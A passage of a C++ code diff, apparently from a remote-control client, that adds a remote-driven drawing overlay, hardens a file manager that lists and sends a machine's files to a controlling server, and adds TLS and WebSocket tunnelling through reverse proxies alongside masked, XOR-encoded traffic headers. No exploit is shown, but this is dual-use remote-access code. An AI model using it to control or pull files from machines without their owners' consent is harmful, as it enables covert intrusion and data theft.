SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
break;
|
||||
case CMD_MOVEWINDOW:
|
||||
if (ulLength == sizeof(RECT) + 1)
|
||||
{
|
||||
RECT rect = *(RECT*)(szBuffer + 1);
|
||||
if (m_hWnd && IsWindow(m_hWnd))
|
||||
{
|
||||
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
|
||||
rect.right-rect.left, rect.bottom-rect.top,
|
||||
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case CMD_SET_SIZE: {
|
||||
if (ulLength == sizeof(int) * 2 + 1) {
|
||||
int x[2];
|
||||
memcpy(x, szBuffer + 1, sizeof(int) * 2);
|
||||
if (IsWindow(m_hWnd)) {
|
||||
::SetWindowPos(m_hWnd, NULL, 0, 0,
|
||||
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_CLEAR: {
|
||||
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_TEXT: {
|
||||
ParseRemoteText(szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
|
||||
{
|
||||
if (length < sizeof(POINT)) return;
|
||||
|
||||
// 提取位置
|
||||
POINT pt = *(POINT*)data;
|
||||
PBYTE textData = data + sizeof(POINT);
|
||||
int textLen = (int)(length - sizeof(POINT));
|
||||
|
||||
// UTF-8 → WCHAR
|
||||
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
|
||||
if (wideLen <= 0) return;
|
||||
|
||||
std::wstring wstr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
|
||||
|
||||
#ifdef _UNICODE
|
||||
CString cstr(wstr.c_str());
|
||||
#else
|
||||
// 若项目使用多字节字符集
|
||||
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
std::string cstr;
|
||||
if (ansiLen > 0)
|
||||
{
|
||||
std::string ansi(ansiLen - 1, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
|
||||
cstr = ansi.c_str();
|
||||
}
|
||||
#endif
|
||||
|
||||
// 存入本地图形对象并刷新绘图区域
|
||||
m_locker.lock();
|
||||
m_Texts.push_back(std::make_pair(pt, cstr));
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include "common/locker.h"
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
class DrawingBoardMgr : public CManager
|
||||
{
|
||||
public:
|
||||
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
~DrawingBoardMgr();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
void ParseRemoteText(PBYTE data, ULONG length);
|
||||
|
||||
private:
|
||||
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
|
||||
BOOL m_bTopMost; // 顶层
|
||||
BOOL m_bIsWorking; // 线程状态
|
||||
HWND m_hWnd; // 窗口
|
||||
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
|
||||
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
|
||||
std::vector<std::pair<POINT, std::string>> m_Texts;
|
||||
HFONT m_Font;
|
||||
COLORREF m_textColor;
|
||||
HPEN m_DrawPen;
|
||||
CLocker m_locker;
|
||||
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
|
||||
void RunWindowThread();
|
||||
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
+67
-8
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
|
||||
// 初始化V2文件传输模块
|
||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
||||
if (!m_Signature.empty())
|
||||
if (!m_Signature.empty()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
|
||||
}
|
||||
|
||||
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
||||
SendDriveList();
|
||||
@@ -429,9 +433,14 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
|
||||
// 展开环境变量 (如 %USERPROFILE%, %DESKTOP% 等)
|
||||
char szExpandedDir[MAX_PATH];
|
||||
char szExpandedDir[MAX_PATH] = { 0 }; // 展开失败时保持空串,避免下面的长度判断读未初始化栈
|
||||
ExpandEnvironmentStringsA(lpszDirectory, szExpandedDir, MAX_PATH);
|
||||
|
||||
// 展开失败 / 目录 + "\*.*" + NUL 装不下:按空目录回(放在分配缓冲之前,免得多一条泄漏路径)
|
||||
if (szExpandedDir[0] == '\0' || lstrlenA(szExpandedDir) + 5 > MAX_PATH) {
|
||||
return SendListError(ERROR_INVALID_NAME);
|
||||
}
|
||||
|
||||
UINT nRet = 0;
|
||||
char strPath[MAX_PATH];
|
||||
char *pszFileName = NULL;
|
||||
@@ -451,8 +460,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
hFile = FindFirstFile(strPath, &FindFileData);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
BYTE bToken = TOKEN_FILE_LIST;
|
||||
return Send(&bToken, 1);
|
||||
// 路径不存在/不可访问:回结构化失败(TOKEN_FILE_LIST_ERROR),不再和「空目录」混为一包。
|
||||
return SendListError(GetLastError());
|
||||
}
|
||||
|
||||
*lpList = TOKEN_FILE_LIST;
|
||||
@@ -552,6 +561,10 @@ void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPatte
|
||||
return;
|
||||
}
|
||||
|
||||
// wsprintf 不做边界检查,超长会写穿栈(Debug 版弹 Run-Time Check Failure #2,
|
||||
// Release 版静默破坏栈)。递归最多 32 层,深度累加很容易超过 MAX_PATH,必须逐层预判。
|
||||
if (lstrlenA(lpszDirectory) + 5 > MAX_PATH) return; // 目录 + "\*.*" + NUL
|
||||
|
||||
char strPath[MAX_PATH];
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
|
||||
@@ -568,6 +581,11 @@ void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPatte
|
||||
|
||||
BOOL bIsDir = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
|
||||
|
||||
// 单个条目也要预判:全路径装不下就跳过(既不记录也不递归进去),
|
||||
// 否则下面的 wsprintf 会写穿 szFullPath。
|
||||
if (lstrlenA(lpszDirectory) + 1 + lstrlenA(FindFileData.cFileName) + 1 > MAX_PATH)
|
||||
continue;
|
||||
|
||||
char szFullPath[MAX_PATH];
|
||||
wsprintf(szFullPath, "%s\\%s", lpszDirectory, FindFileData.cFileName);
|
||||
|
||||
@@ -642,11 +660,21 @@ DWORD WINAPI CFileManager::SearchThreadProc(LPVOID lpParam)
|
||||
void CFileManager::SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName)
|
||||
{
|
||||
// 展开环境变量
|
||||
char szExpandedPath[MAX_PATH];
|
||||
char szExpandedPath[MAX_PATH] = { 0 }; // 展开失败时为空串,递归里直接返回
|
||||
ExpandEnvironmentStringsA(lpszSearchPath, szExpandedPath, MAX_PATH);
|
||||
|
||||
if (szExpandedPath[0] == '\0') { // 展开失败:直接按「0 条结果」结束
|
||||
SendToken(TOKEN_SEARCH_FILE_FINISH);
|
||||
return;
|
||||
}
|
||||
|
||||
// 构建搜索模式 (如 *.txt 或 *keyword*)
|
||||
char szPattern[MAX_PATH];
|
||||
// 关键字来自网络包,最多 MAX_PATH 字节,加通配符后可能超出 szPattern。
|
||||
if (lstrlenA(lpszSearchName) + 3 > MAX_PATH) {
|
||||
SendToken(TOKEN_SEARCH_FILE_FINISH);
|
||||
return;
|
||||
}
|
||||
if (strchr(lpszSearchName, '*') == NULL && strchr(lpszSearchName, '?') == NULL) {
|
||||
wsprintf(szPattern, "*%s*", lpszSearchName);
|
||||
} else {
|
||||
@@ -821,6 +849,32 @@ int CFileManager::SendToken(BYTE bToken)
|
||||
return Send(&bToken, 1);
|
||||
}
|
||||
|
||||
// 列目录失败的结构化回报:[TOKEN_FILE_LIST_ERROR:1][win32err:4 LE]。
|
||||
// 服务端(MCP list_files)据此返回「路径不存在/权限不足」,而不是一个空列表。
|
||||
// 随后再补一个老的 1 字节 TOKEN_FILE_LIST:老服务端不认识新 token,仍按「空目录」处理,
|
||||
// 行为与改动前完全一致。
|
||||
UINT CFileManager::SendListError(DWORD dwErr)
|
||||
{
|
||||
if (dwErr == 0) dwErr = ERROR_GEN_FAILURE;
|
||||
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
|
||||
pkt[0] = TOKEN_FILE_LIST_ERROR;
|
||||
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
|
||||
int n = Send(pkt, (UINT)sizeof(pkt));
|
||||
SendToken(TOKEN_FILE_LIST);
|
||||
return n > 0 ? (UINT)n : 0;
|
||||
}
|
||||
|
||||
// 下载请求无可用文件的结构化回报:[TOKEN_DOWNLOAD_ERROR:1][win32err:4 LE]。
|
||||
// 走文件管理器子连接(传输子连接此时尚未建立),服务端立即失败而不是等停滞看门狗。
|
||||
void CFileManager::SendDownloadError(DWORD dwErr)
|
||||
{
|
||||
if (dwErr == 0) dwErr = ERROR_FILE_NOT_FOUND;
|
||||
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
|
||||
pkt[0] = TOKEN_DOWNLOAD_ERROR;
|
||||
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
|
||||
m_ClientObject->Send2Server((char*)pkt, (UINT)sizeof(pkt));
|
||||
}
|
||||
|
||||
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
{
|
||||
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') {
|
||||
@@ -1115,19 +1169,23 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
||||
|
||||
if (remotePaths.empty()) {
|
||||
Mprintf("[V2] 没有要传输的文件\n");
|
||||
SendDownloadError(ERROR_INVALID_PARAMETER);
|
||||
return;
|
||||
}
|
||||
|
||||
// 收集所有文件(展开目录)
|
||||
std::vector<std::string> allFiles;
|
||||
std::vector<std::string> rootCandidates; // 用于计算公共根目录
|
||||
DWORD dwFirstErr = 0; // 首个失败的 win32 码(全部不存在时回传)
|
||||
|
||||
for (const auto& remotePath : remotePaths) {
|
||||
std::string localPath = ExpandPath(remotePath.c_str());
|
||||
|
||||
DWORD attrs = GetFileAttributesA(localPath.c_str());
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES)
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
if (dwFirstErr == 0) dwFirstErr = GetLastError();
|
||||
continue;
|
||||
}
|
||||
|
||||
if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
|
||||
// 目录:递归收集
|
||||
@@ -1146,7 +1204,8 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
||||
}
|
||||
|
||||
if (allFiles.empty()) {
|
||||
Mprintf("[V2] 没有找到可传输的文件\n");
|
||||
Mprintf("[V2] 没有找到可传输的文件 (win32=%lu)\n", dwFirstErr);
|
||||
SendDownloadError(dwFirstErr);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -55,6 +55,8 @@ private:
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
UINT SendListError(DWORD dwErr); // 列目录失败的结构化回报(TOKEN_FILE_LIST_ERROR + win32 码)
|
||||
void SendDownloadError(DWORD dwErr); // 下载无可用文件的结构化回报(TOKEN_DOWNLOAD_ERROR + win32 码)
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
|
||||
+158
-1
@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_DataProcess = NULL;
|
||||
m_ReconnectFunc = NULL;
|
||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||
#ifdef _DEBUG
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
|
||||
#else
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||
#endif
|
||||
m_EncoderType = encoder;
|
||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||
#ifdef _WIN32
|
||||
@@ -387,6 +391,9 @@ BOOL ConnectWithTimeout(SOCKET sock, SOCKADDR *addr, int timeout_sec=5)
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
// 登录确认标志只描述「当前这条连接」:任何一次新建连都先清零,避免上一条连接的
|
||||
// 确认结果替新连接背书(协议切换的自动回退靠它判断新入口是否真的登录成功)。
|
||||
m_loginAcked.store(false, std::memory_order_release);
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
@@ -461,6 +468,134 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
#else
|
||||
// 设置保活选项
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
// 握手超时:TLS / WebSocket 握手都是同步阻塞的(WsChannel::Handshake 逐字节 recv 等
|
||||
// 101 响应),而 socket 默认没有收超时——对端接受 TCP 却迟迟不回数据时(反代上游黑洞、
|
||||
// 中间设备只收不发),recv 会永久阻塞,StartClient 的重连循环整个停摆,只能重启进程。
|
||||
// 这里给握手窗口设 15s 超时(与服务端两个握手线程同一个值),握手结束后立刻清零,
|
||||
// 避免影响 WorkThread 之后依赖 select + 阻塞 recv 的常规收包。
|
||||
bool hsTmoSet = false;
|
||||
#ifdef _WIN32
|
||||
{
|
||||
DWORD hsTmo = 15000;
|
||||
hsTmoSet = setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO,
|
||||
(const char*)&hsTmo, sizeof(hsTmo)) == 0;
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&hsTmo, sizeof(hsTmo));
|
||||
}
|
||||
#else
|
||||
{
|
||||
struct timeval hsTmo;
|
||||
hsTmo.tv_sec = 15;
|
||||
hsTmo.tv_usec = 0;
|
||||
hsTmoSet = setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, &hsTmo, sizeof(hsTmo)) == 0;
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, &hsTmo, sizeof(hsTmo));
|
||||
}
|
||||
#endif
|
||||
|
||||
// WebSocket 传输(PROTO_WS / PROTO_WSS):出站被限制在 80/443/8080 等端口时,经反代
|
||||
// 分流进来。与应用协议无关,位置和 TLS 相同(TLS 之下、应用协议之上);须在
|
||||
// m_bConnected 置位前完成,确保工作线程不会在 Upgrade 尚未完成时就开始 recv。
|
||||
// Linux / macOS / Android 不传 conn,协议由 SetDefaultProto 给出(见 IOCPClient.h)。
|
||||
// 两边都没有时按明文直连,并留一行日志——否则「改成 WS 却毫无反应」无从排查。
|
||||
const int protoType = m_conn ? (int)(unsigned char)m_conn->protoType : m_defaultProto;
|
||||
if (!m_conn && m_defaultProto < 0) {
|
||||
// 只记一次:重连循环每轮都会走到这里,否则日志会被刷满。
|
||||
static std::atomic<bool> logged{false};
|
||||
if (!logged.exchange(true))
|
||||
Mprintf("[WS] 无连接配置(m_conn 为空)且未设置默认协议,本次按明文 TCP 直连\n");
|
||||
}
|
||||
const bool wsProto = (protoType == PROTO_WS || protoType == PROTO_WSS);
|
||||
const bool wsTls = (protoType == PROTO_WSS);
|
||||
m_useWs = false;
|
||||
// Host 头与 SNI 用配置里的地址(域名),子连接只拿到解析后的 IP,必须回到 conn 取。
|
||||
// 多地址(分号分隔)时取第一个:经反代接入的场景应在地址里只填一个域名。
|
||||
std::string wsHost = m_sCurIP;
|
||||
if (m_conn) {
|
||||
std::string configured = m_conn->GetFirstServerIP();
|
||||
if (!configured.empty())
|
||||
wsHost = configured;
|
||||
}
|
||||
// IP 字面量不能当 SNI(RFC 6066);直接连 IP 时反代会落到默认 server 块。
|
||||
const bool wsHostIsDomain = (inet_addr(wsHost.c_str()) == INADDR_NONE) && wsHost.find(':') == std::string::npos;
|
||||
// WSS 但没有信任锚时的降级标记:本连接按明文 WS 走,服务端下发锚并热重载后,
|
||||
// 下一次连接会自动升级为 WSS(见下方 else if 分支)。
|
||||
bool wsDegraded = false;
|
||||
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
|
||||
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
|
||||
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
|
||||
// m_useTls 在这里一次性锁定:Linux 客户端可能在此后收到服务端下发并热切换传输方式,
|
||||
// 那条连接已建立,本连接的 Send/Recv 必须继续按握手时的传输方式走。
|
||||
m_useTls = false;
|
||||
if (TlsLoadError()) {
|
||||
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
// PROTO_WS 是显式选择的明文形态(反代的 80 端口、内网直连):即便本客户端配了信任锚
|
||||
// 也不叠加 TLS,否则该形态永远不可达。WSS 与直连主控端口仍按上面的规则强制 TLS。
|
||||
if (TlsEnabled() && protoType != PROTO_WS) {
|
||||
// SNI:WSS 经反代时要让反代按域名分流到正确的 server 块;直连 IP/主控端口时保持
|
||||
// 原样(不传名字),与既有行为一致。
|
||||
const char* sni = (wsTls && wsHostIsDomain) ? wsHost.c_str() : NULL;
|
||||
if (!m_tls.Handshake(m_sClientSocket, sni)) {
|
||||
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
m_useTls = true;
|
||||
} else if (wsTls) {
|
||||
// 回退(不是降级攻击面):没有信任锚时无法校验反代出示的证书,但此时客户端
|
||||
// 本来也还没被「颁发」证书——先用明文 WS 把隧道打通,等服务端下发信任锚
|
||||
// (COMMAND_TLS_ENABLE → TlsReload)后,下一次连接自动走 WSS。
|
||||
// 注意:有锚但握手失败、或锚存在却加载失败(上面 TlsLoadError),仍然 fail-closed,
|
||||
// 绝不静默降级。
|
||||
wsDegraded = true;
|
||||
Mprintf("[WS] 未配置信任锚,本次按明文 WebSocket 连接;服务端下发证书后重连将升级为 WSS\n");
|
||||
}
|
||||
#else
|
||||
if (wsTls) {
|
||||
Mprintf("[WS] 本平台不支持 TLS,无法使用 WSS 协议\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (wsProto) {
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
m_ws.SetTls(m_useTls ? &m_tls : NULL);
|
||||
#endif
|
||||
std::string werr;
|
||||
if (!m_ws.Handshake(m_sClientSocket, wsHost, (int)port, WS_UPGRADE_PATH, &werr)) {
|
||||
Mprintf("[WS] WebSocket 握手失败(%s),断开连接\n", werr.c_str());
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
m_useWs = true;
|
||||
// 注意:这里不能读 m_useTls——无 TLS 的平台上(macOS/Android)它不存在;
|
||||
// 本连接实际走的形态由 wsDegraded 区分:WSS 有锚走 TLS,没锚则明文回退。
|
||||
Mprintf("[WS] WebSocket 已就绪: %s:%d%s%s\n", wsHost.c_str(), (int)port,
|
||||
WS_UPGRADE_PATH, wsDegraded ? " (明文,等待信任锚)"
|
||||
: (wsTls ? " (TLS)" : ""));
|
||||
}
|
||||
// 握手阶段结束(成功路径):清零握手超时,恢复普通阻塞收包。
|
||||
if (hsTmoSet) {
|
||||
#ifdef _WIN32
|
||||
DWORD noTmo = 0;
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&noTmo, sizeof(noTmo));
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&noTmo, sizeof(noTmo));
|
||||
#else
|
||||
struct timeval noTmo;
|
||||
noTmo.tv_sec = 0;
|
||||
noTmo.tv_usec = 0;
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_RCVTIMEO, &noTmo, sizeof(noTmo));
|
||||
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDTIMEO, &noTmo, sizeof(noTmo));
|
||||
#endif
|
||||
}
|
||||
m_bConnected = TRUE;
|
||||
@@ -526,6 +661,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
Sleep(50);
|
||||
continue;
|
||||
}
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
|
||||
// TLS 库内部缓冲),优先消费,避免被 select 卡住。
|
||||
if (This->HasPendingData()) {
|
||||
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
// Linux select() 会修改 timeval,必须每次重置
|
||||
@@ -632,7 +777,14 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
||||
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
|
||||
}
|
||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (useTls=%d tlsReady=%d)\n",
|
||||
this, bufLen, buf.c_str(), (int)m_useTls, (int)m_tls.IsReady());
|
||||
#else
|
||||
// macOS/Android 没有 TlsChannel(TLS 只在这两个平台之外的客户端实现)
|
||||
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s\n",
|
||||
this, bufLen, buf.c_str());
|
||||
#endif
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
@@ -861,6 +1013,11 @@ VOID IOCPClient::Disconnect()
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
m_useTls = false; // 连接已断,Send/Recv 回到明文路径(下次 ConnectServer 重新锁定)
|
||||
#endif
|
||||
m_useWs = false; // WebSocket 帧状态同样按连接锁定,重连时重新握手
|
||||
m_ws.Reset();
|
||||
m_bConnected = FALSE;
|
||||
}
|
||||
|
||||
|
||||
+67
-1
@@ -11,6 +11,13 @@
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
// TLS 通道:Windows 走 Schannel,Linux 走 OpenSSL;macOS/Android 下该头为空,
|
||||
// 且不定义 YAMA_TLS_CHANNEL,下方代码自动退回明文。
|
||||
#include "TlsChannel.h"
|
||||
|
||||
// WebSocket 传输(经反代 443 等受限端口接入)。头文件实现,各平台编译目标无需改动。
|
||||
#include "WsChannel.h"
|
||||
|
||||
#include "Buffer.h"
|
||||
#include "zstd/zstd.h"
|
||||
#include "domain_pool.h"
|
||||
@@ -32,6 +39,7 @@
|
||||
#endif
|
||||
#include "IOCPBase.h"
|
||||
#include <mutex>
|
||||
#include <atomic>
|
||||
#include <condition_variable>
|
||||
#include <chrono>
|
||||
|
||||
@@ -200,6 +208,12 @@ public:
|
||||
m_nHostPort = uPort;
|
||||
}
|
||||
|
||||
// 没有 conn 的构造路径(Linux / macOS / Android 的 main 都是 new IOCPClient(exit, false))
|
||||
// 用它给出传输协议:直接取外壳注入的 CONNECT_ADDRESS.protoType。不调用则保持 -1,
|
||||
// ConnectServer 按明文 TCP 直连——那正是「配置成 WS 却毫无反应」的来源,故三个平台
|
||||
// 的 main 都要在进入重连循环前调一次。
|
||||
void SetDefaultProto(int p) { m_defaultProto = p; }
|
||||
|
||||
std::string ServerIP() const
|
||||
{
|
||||
return m_sCurIP;
|
||||
@@ -282,6 +296,14 @@ public:
|
||||
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||||
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||||
|
||||
// 登录是否已被服务端接受。服务端把本机加入在线列表后立刻下发 CMD_MASTERSETTING
|
||||
// (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径),客户端在这里置位。
|
||||
// 协议切换用来判断「新入口真的登录成功」,而不是只看 IsConnected()——那只代表
|
||||
// TCP/TLS/WS 握手完成,登录可能被丢弃(选错后端、反代指到别的 WS 服务)。
|
||||
// 每次 ConnectServer 开始时清零,故它只描述当前这条连接。
|
||||
void SetLoginAcked(bool v) { m_loginAcked.store(v, std::memory_order_release); }
|
||||
bool IsLoginAcked() const { return m_loginAcked.load(std::memory_order_acquire); }
|
||||
|
||||
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
|
||||
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd,避免泄漏。
|
||||
virtual VOID Disconnect(); // 函数支持 TCP/UDP
|
||||
@@ -289,14 +311,41 @@ public:
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
// WebSocket 传输:字节流在 WS 帧里,帧层自己处理 TLS(WSS)或裸 socket(WS)
|
||||
if (m_useWs)
|
||||
return m_ws.Recv(m_sClientSocket, buffer, bufSize - 1);
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
if (m_useTls)
|
||||
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
|
||||
#endif
|
||||
// TCP版本调用 recv
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
return n;
|
||||
}
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||
virtual int SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
if (m_useWs)
|
||||
return m_ws.Send(m_sClientSocket, buf, len);
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
if (m_useTls)
|
||||
return m_tls.Send(m_sClientSocket, buf, len);
|
||||
#endif
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
}
|
||||
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
|
||||
// 看不到 TLS 库内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
|
||||
// WebSocket 同理:已读进帧头、载荷还没交完的字节同样看不到。
|
||||
bool HasPendingData() const
|
||||
{
|
||||
if (m_useWs)
|
||||
return m_ws.HasPending();
|
||||
#ifdef YAMA_TLS_CHANNEL
|
||||
return m_useTls && m_tls.HasPending();
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||||
@@ -305,6 +354,23 @@ protected:
|
||||
protected:
|
||||
sockaddr_in m_ServerAddr;
|
||||
SOCKET m_sClientSocket;
|
||||
// WebSocket 传输(PROTO_WS / PROTO_WSS):ConnectServer 里握手成功时置位,
|
||||
